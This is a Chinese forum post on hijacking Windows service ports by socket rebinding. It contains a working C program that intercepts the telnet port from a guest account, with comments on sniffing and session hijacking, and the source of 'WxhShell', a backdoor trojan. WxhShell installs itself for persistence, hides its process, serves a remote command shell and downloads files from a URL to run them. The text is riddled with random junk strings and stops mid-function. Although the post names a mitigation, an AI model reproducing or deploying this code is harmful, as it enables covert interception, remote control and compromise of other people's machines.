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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,>aa2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +a39 !j 1_  
3IRur,|'  
  saddr.sin_family = AF_INET; OxDq LX  
e6MBy\*n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =?$~=1SL+  
(Y'cxwj%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IP/%=m)\%  
?98!2:'{9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  2d*bF.  
g8cBb5(L  
  这意味着什么?意味着可以进行如下的攻击: MWme3u)D  
%}(` ?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JPn)Op6  
x^@oY5}cr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N!c FUZ5]  
e".=E ;o`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S3M!"l  
#OPEYJ;*9d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gy@=)R/~  
eP" B3Jw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "dP-e  
,c:NdY(,)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3!8(A/YP;  
|\dv$`_T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -$"$r ~ad  
7tWC<#  
  #include W8S sv  
  #include ^vMlRt;  
  #include M 6&=-  
  #include    0U~$u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +YZo-tE  
  int main() sJKr%2nVV  
  { V?dwTc  
  WORD wVersionRequested; M~\dvJ$cH  
  DWORD ret; ATqblU>D  
  WSADATA wsaData; O|sk "YXF  
  BOOL val; $M)SsD~  
  SOCKADDR_IN saddr; hlL$3.]  
  SOCKADDR_IN scaddr;  FkrXM!mJ  
  int err; h,FU5iK|  
  SOCKET s; +rU{-`dy9'  
  SOCKET sc; IDn<5#  
  int caddsize; ;4!H- qZ  
  HANDLE mt; MlYm\x8{M  
  DWORD tid;   (1|wM+)"  
  wVersionRequested = MAKEWORD( 2, 2 ); 8!|vp7/  
  err = WSAStartup( wVersionRequested, &wsaData ); C W#:'  
  if ( err != 0 ) { Hy4;i^Ik <  
  printf("error!WSAStartup failed!\n"); +z nlf-  
  return -1; F oC $X  
  } |;NfH|43;  
  saddr.sin_family = AF_INET; *-PjcF}Y  
   e4Nd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^7 \kvW  
x?o#}:S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9V1d`]tP  
  saddr.sin_port = htons(23); Eo2`Vr9g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )M dddz4  
  { #1U>  
  printf("error!socket failed!\n"); ]fzXrN_  
  return -1; UstUPO  
  } S>I` y]qlR  
  val = TRUE; K-:y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 - (WH+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h#Z[ "BG  
  { {Vj&i.2,  
  printf("error!setsockopt failed!\n"); w[d8#U   
  return -1; wr"0+J7  
  } c45 s #6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }O7sP^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )Xg5=zn$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UH-873AK  
rmzzbLTu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H2%Qu<Kg2  
  { *V hEl7  
  ret=GetLastError(); f~wON>$K  
  printf("error!bind failed!\n"); %B\x %e ;P  
  return -1; 3as=EYm  
  } d eT<)'"  
  listen(s,2); "\EX)u9ze  
  while(1) Xi%Og\vm5  
  { lS,Jo/T@  
  caddsize = sizeof(scaddr); 2c]"*Pb  
  //接受连接请求 Ez~5ax7x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "7y, d%H  
  if(sc!=INVALID_SOCKET) *JDz0M4f  
  {  7qy PI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z*h:Nt%.  
  if(mt==NULL) 2j8GJU/L  
  { iH4LZ  
  printf("Thread Creat Failed!\n"); iV/I909*''  
  break; JD#q6 &|  
  } F8Ety^9>9  
  } "6\ 5eFN;  
  CloseHandle(mt); z.8nYL5^}  
  } WGn=3(4  
  closesocket(s); $,@}%NlHc  
  WSACleanup(); g_cED15  
  return 0; x3&gB`j-  
  }   GGEM&0*  
  DWORD WINAPI ClientThread(LPVOID lpParam) E;CM"Y*  
  { qZ^ PC-  
  SOCKET ss = (SOCKET)lpParam; 0\:= KIY.  
  SOCKET sc; x7/Vf,N  
  unsigned char buf[4096]; Oe;#q  
  SOCKADDR_IN saddr; w"?Q0bhV9y  
  long num; 86)2\uan  
  DWORD val; ~g/"p`2-N  
  DWORD ret; A9b(P[!]T:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |&8XmexLb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K1hkOj;S  
  saddr.sin_family = AF_INET; {WV"]O8IV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RJ@79L *#  
  saddr.sin_port = htons(23); *@''OyL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j%s,%#al  
  { N_K9H1 r  
  printf("error!socket failed!\n"); uQvTir*e  
  return -1; .4\I?  
  } Y M:9m)  
  val = 100; %3qjgyLZ|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pFY*Y>6ar  
  { :@i+yN cV  
  ret = GetLastError(); >[aR8J/U  
  return -1; ^g*Sy, A  
  } ={%'tv`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LH(P<k&  
  {  B`e/ /  
  ret = GetLastError(); Ck )W=  
  return -1; Kj4BVs  
  } 7FoX)54"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y:;_R=M  
  { Qw2`@P8W  
  printf("error!socket connect failed!\n"); )). =MTk  
  closesocket(sc); )&_bY~P  
  closesocket(ss); S'34](9n6  
  return -1; Y"bm4&'  
  } B-N//ef}  
  while(1) 9JP:wE~y  
  { > f X^NX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Gt#r$.]W?o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y\^zxG*]'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I>FL&E@K  
  num = recv(ss,buf,4096,0); #ae?#?/"  
  if(num>0) E2r5Pg  
  send(sc,buf,num,0); aInt[D(  
  else if(num==0) ~|Vq v{  
  break; 1rZ E2  
  num = recv(sc,buf,4096,0); KsOSPQDGE  
  if(num>0) )!27=R/  
  send(ss,buf,num,0); 2*V%S/cck  
  else if(num==0) dPu27 "  
  break; y[$UeE"0  
  } Bbs1U  
  closesocket(ss); 0]7jb_n1  
  closesocket(sc); 6Sd:5eTEQ  
  return 0 ; M,JwoKyg  
  } }PK4 KRn  
K*j OrQf`  
o4p5`jOG@  
========================================================== hx0t!k(3  
I[&x-}w  
下边附上一个代码,,WXhSHELL s U`#hL6;  
RL4|!HzR  
==========================================================  Culv/  
ks. p)F>]  
#include "stdafx.h" _m?i$5  
.\oW@2,RA9  
#include <stdio.h> V]--d33/a  
#include <string.h> U>*@VOgB  
#include <windows.h> I*TTD]e'X  
#include <winsock2.h> \m|5Aqs  
#include <winsvc.h> dYISjk@  
#include <urlmon.h> ]~]TZb  
}Q: CZ  
#pragma comment (lib, "Ws2_32.lib") Zuzwc[Z1  
#pragma comment (lib, "urlmon.lib") VgXT4gO!  
(nLzWvN  
#define MAX_USER   100 // 最大客户端连接数 m#BXxS#B<_  
#define BUF_SOCK   200 // sock buffer c\ZI 5&4jT  
#define KEY_BUFF   255 // 输入 buffer X[?fU&  
1sg:8AA  
#define REBOOT     0   // 重启 h<?Px"& J  
#define SHUTDOWN   1   // 关机 ]mtiIu[  
~s&r.6 DW  
#define DEF_PORT   5000 // 监听端口 S Yi!%  
^ulgZ2BQ|  
#define REG_LEN     16   // 注册表键长度 /95z1e  
#define SVC_LEN     80   // NT服务名长度 !QVhP+l'H  
).jQ+XE'>  
// 从dll定义API !:\0}w$-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4Mg%}/cC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $)*qoV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A v>v\ :.>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %G(VYCeK  
l\L71|3"g  
// wxhshell配置信息 [O\ )R[J  
struct WSCFG { iuWUr?`\  
  int ws_port;         // 监听端口 vUbgSI  
  char ws_passstr[REG_LEN]; // 口令 SN"Y@y)=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^/?7hbr  
  char ws_regname[REG_LEN]; // 注册表键名 8zMGpY#  
  char ws_svcname[REG_LEN]; // 服务名 vW.f`J,\D'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JG^GEJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5GAW3j{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P'B|s /)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U~BR8]=G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rYt|[Pk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kO`!!M[Oo  
x_O:IK.>  
}; }~LGq.H  
On O_7'4 t  
// default Wxhshell configuration >.UEs 8QV  
struct WSCFG wscfg={DEF_PORT, ]lKUpsQI  
    "xuhuanlingzhe", d1.@v;  
    1, lmcgOTT):  
    "Wxhshell", XPrnQJ  
    "Wxhshell", `&x>2FJ  
            "WxhShell Service", L:_{bE|TY  
    "Wrsky Windows CmdShell Service", yqx!{8=V  
    "Please Input Your Password: ", c[,Rh f  
  1, Ge=6l0  
  "http://www.wrsky.com/wxhshell.exe", T0fm6 J  
  "Wxhshell.exe" /NB|N*}O)  
    }; KU "+i8"  
J0k!&d8  
// 消息定义模块 Tr>_R%bK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9E5*%Hu_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8)iI=,T*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zytW3sTZA  
char *msg_ws_ext="\n\rExit."; GBZu<t/  
char *msg_ws_end="\n\rQuit."; m==DBh  
char *msg_ws_boot="\n\rReboot..."; s w >B  
char *msg_ws_poff="\n\rShutdown..."; $27OrXQ|  
char *msg_ws_down="\n\rSave to "; i,~(_|-r  
rg[#(  
char *msg_ws_err="\n\rErr!"; +Goh`!$Rj9  
char *msg_ws_ok="\n\rOK!"; |#t^D.j  
])qnPoQ<n  
char ExeFile[MAX_PATH]; 4J'0k<5S  
int nUser = 0; (ZF~   
HANDLE handles[MAX_USER]; 3`D*AFQc  
int OsIsNt; `;G@qp:A  
Jon3ywd1Y  
SERVICE_STATUS       serviceStatus; 21<Sfsc$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C+!=C{@7di  
Y[b08{/  
// 函数声明 .(p_YjIA  
int Install(void); n=DmdQ}  
int Uninstall(void); #(}{*d R  
int DownloadFile(char *sURL, SOCKET wsh); FDF DB  
int Boot(int flag); 'Kmf6iK>[  
void HideProc(void); i\ 7JQZ  
int GetOsVer(void); cfBl HeYE  
int Wxhshell(SOCKET wsl); u-.5rH l  
void TalkWithClient(void *cs); Q>X1 :Zn3  
int CmdShell(SOCKET sock); !j  #8zN  
int StartFromService(void); u*\QVOF  
int StartWxhshell(LPSTR lpCmdLine); dw}ge,bBic  
DI-&P3iGx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oEZhKVyc.y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d+h~4'ebv  
+`S_Gy  
// 数据结构和表定义 evE:FiDm(j  
SERVICE_TABLE_ENTRY DispatchTable[] = r;(^]Soz  
{ OJydt;a  
{wscfg.ws_svcname, NTServiceMain}, 0ZD)(ps|  
{NULL, NULL} w"kBAi&  
}; X/%!p<}:'  
9^sz,auB  
// 自我安装 JC$_Pg!  
int Install(void) g]MgT-C|  
{ |LZ+_  
  char svExeFile[MAX_PATH]; ZBK)rmhMx  
  HKEY key; ~.e~YI80  
  strcpy(svExeFile,ExeFile); RK&RMN8@  
LCIe1P2  
// 如果是win9x系统,修改注册表设为自启动 USgO`l\}4  
if(!OsIsNt) { X6!KFc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B;iJ$gt]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l:~ >P[  
  RegCloseKey(key); }# Ji"e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $WW7,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bB/fU7<{)u  
  RegCloseKey(key); 66W J=? JV  
  return 0; 'g<FL`iP  
    } AKLFUk  
  } o<s~455m/  
} NeEV=+<-G  
else { _jCu=l_  
W`#E[g?]  
// 如果是NT以上系统,安装为系统服务 %,8 "cM`D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HD$ r<bl  
if (schSCManager!=0) m=iKu(2xRq  
{ W+V &  
  SC_HANDLE schService = CreateService Q 'e[(^8  
  ( 1D"EF  
  schSCManager, 5 r<cna  
  wscfg.ws_svcname, B.Z5+MgM  
  wscfg.ws_svcdisp, 04X/(74  
  SERVICE_ALL_ACCESS, PM:u~D$Jd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M@. 2b.  
  SERVICE_AUTO_START, hR[_1vuIu  
  SERVICE_ERROR_NORMAL, ey>tUmt6?  
  svExeFile, L?(1 [jB4G  
  NULL, T-oUcuQB  
  NULL, ]xV2= !J  
  NULL, apxq] ! `  
  NULL, U6nC <3f F  
  NULL KAT^vbR  
  ); Hnvs{KC`  
  if (schService!=0) o(i?_4 E  
  { @-1VN;N  
  CloseServiceHandle(schService); #zn`)n  
  CloseServiceHandle(schSCManager); S6yLq|W0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @, z4{B  
  strcat(svExeFile,wscfg.ws_svcname); WR* <|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cR6 #$-a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \S?;5LacZ  
  RegCloseKey(key); 1$yS Ii  
  return 0; 2+YM .Zl  
    } YMwL(m1  
  } |' kC9H[>  
  CloseServiceHandle(schSCManager); SV1;[  
} LwI4 2  
} |JUAR{  
$L]E< gWrP  
return 1; :WSszak  
} OOz;/kay  
2DBFY1[Pk  
// 自我卸载 ]A_A4=[w  
int Uninstall(void) 2Nx#:Rz  
{ 3SF J8  
  HKEY key; 59_VC('  
ot^$/(W  
if(!OsIsNt) { }Mc&yjhMrg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <oTNo>U/k  
  RegDeleteValue(key,wscfg.ws_regname); \T`iq[+6  
  RegCloseKey(key); d^aLue>g;+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0o?2Sf`L\*  
  RegDeleteValue(key,wscfg.ws_regname); =fK F#^E@  
  RegCloseKey(key); LgSVEQb6\|  
  return 0; Eds{-x|10  
  } "SwM%j  
} XXW.Uios  
} LaIH3!M3  
else { GmN~e*x>p  
7lQ:}&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &,=t2_n  
if (schSCManager!=0) G"p rq&  
{ RjHKFB2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5[$Tpn#K7  
  if (schService!=0) /5 R?(-  
  { } qr ,  
  if(DeleteService(schService)!=0) { IqjH  
  CloseServiceHandle(schService); G]>P!]  
  CloseServiceHandle(schSCManager); Jy#2 1  
  return 0; ")GrQv a  
  } u*!/J R  
  CloseServiceHandle(schService); p( [FZ  
  } LsV?b*^(p  
  CloseServiceHandle(schSCManager); R%%h=]  
} n0@\x=9  
} + gP 4MP  
@1peJJ{  
return 1; [JX=<a)U  
} mr#XN&e  
zJtB?<  
// 从指定url下载文件 ~VO?PfxZ  
int DownloadFile(char *sURL, SOCKET wsh) .l]w4Hf  
{ G2_l}q~  
  HRESULT hr; kF"G {5  
char seps[]= "/"; k/#321Z  
char *token; \kksZ4,  
char *file; ~]lVixr9  
char myURL[MAX_PATH]; 7{DSLKtN  
char myFILE[MAX_PATH]; (Z};(Hn  
%y2 i1^  
strcpy(myURL,sURL); { BDUl3T  
  token=strtok(myURL,seps); ]g0\3A  
  while(token!=NULL) \bWo"Yo  
  { }^3ICwzm  
    file=token; MF~Tr0tOC  
  token=strtok(NULL,seps); ]bb`6 \h  
  } T! fF1cpF\  
J@ pCF@'  
GetCurrentDirectory(MAX_PATH,myFILE); 3%SwCYd  
strcat(myFILE, "\\"); T,Zfz9{n  
strcat(myFILE, file); y e1hcQ  
  send(wsh,myFILE,strlen(myFILE),0); 79Si^n1\  
send(wsh,"...",3,0); K9N\E"6ZP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XnI)s^  
  if(hr==S_OK) 095Z Z20  
return 0; >c 5V VA8  
else IgU65p  
return 1; xs3t~o3y  
ZzV%+n7<Vx  
} B[6y2+6$0  
.6nNqGua1  
// 系统电源模块 C Ejf&n  
int Boot(int flag) ax+P) yz  
{ h"+|)'*n  
  HANDLE hToken; OQm-BL   
  TOKEN_PRIVILEGES tkp; FYu=e?L  
ZAcW@xfb  
  if(OsIsNt) { By-A1|4Cp`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !9JK95;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~Uw<E:?v  
    tkp.PrivilegeCount = 1; ~$3X>?Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V$XCe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4{oS(Vl!  
if(flag==REBOOT) { Yy:Q/zw o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %o9;jX  
  return 0; /SDDCZ`;|c  
} \+B+M 7  
else { G_UxR9Qo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9&uWj'%ia  
  return 0; (VzabO  
} `^7ARr/  
  } LlfD>cN  
  else { DsP FB q  
if(flag==REBOOT) { ?~>#(Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,| EaW& 2  
  return 0; "Gh?hU,WWZ  
} Tp0^dZM+  
else { Pq:GvM`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *q.qO )X}3  
  return 0; <MH| <hP  
} ?YO$NYwE  
} zg=F;^oZ<  
4uG:*0{Yx  
return 1; Nn;p1n dN  
} ' cx&:s  
3Vj,O?(Z  
// win9x进程隐藏模块 On{p(| l  
void HideProc(void) (X"WEp^Q{I  
{ Gf{FFIe(  
g^EkRBU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^K K6 d  
  if ( hKernel != NULL ) J0vCi}L  
  { ~ST7@-D0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >b.wk3g@>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6mi: %)"  
    FreeLibrary(hKernel); [j :]YR  
  } ?u9JRXj%  
,!RbFME&H  
return; Iq-+X3i  
} f;;(Q-.  
<"" fJ`7  
// 获取操作系统版本 D<2|&xaR  
int GetOsVer(void) .l->O-=  
{ L[Dr[  
  OSVERSIONINFO winfo; FM3DJ?\L-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J c~{ E  
  GetVersionEx(&winfo); W1 qE,%cx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^&W(|R-,J&  
  return 1; 0{P Rv./`  
  else p/a)vN+*x'  
  return 0; B>CG/]  
} <d\Lvo[  
9)a:8/Y  
// 客户端句柄模块 /k(KA [bS  
int Wxhshell(SOCKET wsl) EfR3$sp  
{ S"Dw8_y7}  
  SOCKET wsh; QJaF6>m  
  struct sockaddr_in client; D e>'  
  DWORD myID; vbeYe2;(  
xJ|3}o:,  
  while(nUser<MAX_USER) E r6'Ig|U  
{ xi]qdiA  
  int nSize=sizeof(client); I3A@0'Vm;L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0!c^pOq6  
  if(wsh==INVALID_SOCKET) return 1; qe!\ oh  
S 'jH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0"~`U.k~M  
if(handles[nUser]==0) g $\Z-!(  
  closesocket(wsh); eJB !|  
else [4qx+ypT  
  nUser++; ~ l'dpg  
  } lkWID  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (bIg6_U7\  
2sJj -3J  
  return 0; 94umk*ib  
} +@Oo)#V|.  
fXPD^}?Ux4  
// 关闭 socket e7<//~W7W  
void CloseIt(SOCKET wsh) =U6%Wdth  
{ f*VBSg[`  
closesocket(wsh); pr2b<(Pm  
nUser--;  p=Nord  
ExitThread(0); ubn`w=w$  
} >4A~?=  
,1"w2,=  
// 客户端请求句柄 '[ZRWwhr  
void TalkWithClient(void *cs) cC.=,n  
{ LCrE1Q%VP  
@?A39G{  
  SOCKET wsh=(SOCKET)cs; f3>8ZB4  
  char pwd[SVC_LEN]; @iZ"I i&+  
  char cmd[KEY_BUFF]; Cz2OGM*mz?  
char chr[1]; *uAsKU  
int i,j; wL'tGAv  
w7H.&7rF  
  while (nUser < MAX_USER) { ZI  q!ee  
.:KZ8'g3}  
if(wscfg.ws_passstr) { g.v)qB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s }]qlg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sbZ$h <  
  //ZeroMemory(pwd,KEY_BUFF); 7a@%^G @!  
      i=0; R6ynL([xh  
  while(i<SVC_LEN) { }U=|{@%  
"x. |'  
  // 设置超时 LLn,pI2fL{  
  fd_set FdRead; D@V1}/$UoN  
  struct timeval TimeOut; x(/KHpSWK  
  FD_ZERO(&FdRead); h)EHaaf  
  FD_SET(wsh,&FdRead); SCClD6k=V  
  TimeOut.tv_sec=8; [b: $sR;  
  TimeOut.tv_usec=0; ~RV>V*l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); } PD]e*z{Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oaI|A^v  
aI$D qnF4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l[EnFbD6  
  pwd=chr[0]; =qY!<DB[L  
  if(chr[0]==0xd || chr[0]==0xa) { P=:mn>  
  pwd=0; PQ`p:=~>:i  
  break; 7Vf2Qx1_  
  } "T/ vE  
  i++; 289@O-  
    } jXEuK:exQ  
sp4J%2b  
  // 如果是非法用户,关闭 socket -e"~UDq`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yub|   
} D-7PO3F:F  
*xEcX6ZHX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 93="sS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &UhI1mi]h  
@J~n$^ke  
while(1) { o2 =UUD&  
'iM;e K  
  ZeroMemory(cmd,KEY_BUFF); L lmdydC%  
gU7@}P  
      // 自动支持客户端 telnet标准   ,6,sz]3-  
  j=0; 3/P# 2&jt  
  while(j<KEY_BUFF) { |wASeZMO2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MB9tnGO-Q  
  cmd[j]=chr[0]; \atztC{-L>  
  if(chr[0]==0xa || chr[0]==0xd) { SF.4["$  
  cmd[j]=0; s)#8>s-  
  break; {{b&l!  
  } RbUhLcG5  
  j++; L&wJ-}'l  
    } gA)!1V+:  
_jV(Gv'  
  // 下载文件 G.2ij%Zz  
  if(strstr(cmd,"http://")) { <}~`YU>=v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !`8WNY?K  
  if(DownloadFile(cmd,wsh)) 1Ih.?7}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I\JJ7/S`t  
  else 5!2^|y4r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Mf;  
  } -LF0%G  
  else {  8+no>%L  
h_K(8{1  
    switch(cmd[0]) { 5BvCP   
  P q\m8iS,w  
  // 帮助 Mp:/[%9Fi  
  case '?': { 0MK|spc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G1 ?."  
    break; +8e~jf3E1  
  } | ,bCYK  
  // 安装 __p\`3(,'  
  case 'i': { E DuLgg@  
    if(Install()) Qe=,EXf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k!e \O>+  
    else 2|vArRKt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ueO&%  
    break; {C>.fg%t  
    } N&`VMEB)k  
  // 卸载 "4c ?hH:C  
  case 'r': { Ue:'55  
    if(Uninstall()) UUy%:t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n:zoN2lC  
    else )i&z!|/2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +I$c+WfU  
    break; B4^+&B#  
    } WvG0hts=[  
  // 显示 wxhshell 所在路径 cE}R7,y  
  case 'p': { z?$F2+f&  
    char svExeFile[MAX_PATH]; {HKd="%VG  
    strcpy(svExeFile,"\n\r"); z=TaB^-)  
      strcat(svExeFile,ExeFile); }m Rus<Ax  
        send(wsh,svExeFile,strlen(svExeFile),0); > Y <in/  
    break; `ReTfz;o  
    } QJc3@  
  // 重启 ~b+TkPU   
  case 'b': { Qq;` 9-&j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8'Dp3x^W>  
    if(Boot(REBOOT)) lWS @<j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c"OBm#  
    else {  laX(?{_  
    closesocket(wsh); NG-Wn+W@b  
    ExitThread(0); fY@Y$S`Fh  
    } yjZ]_.  
    break; p<1z!`!P  
    } _@CY_`a  
  // 关机 ;Ee!vqD2  
  case 'd': { S pxkB!  
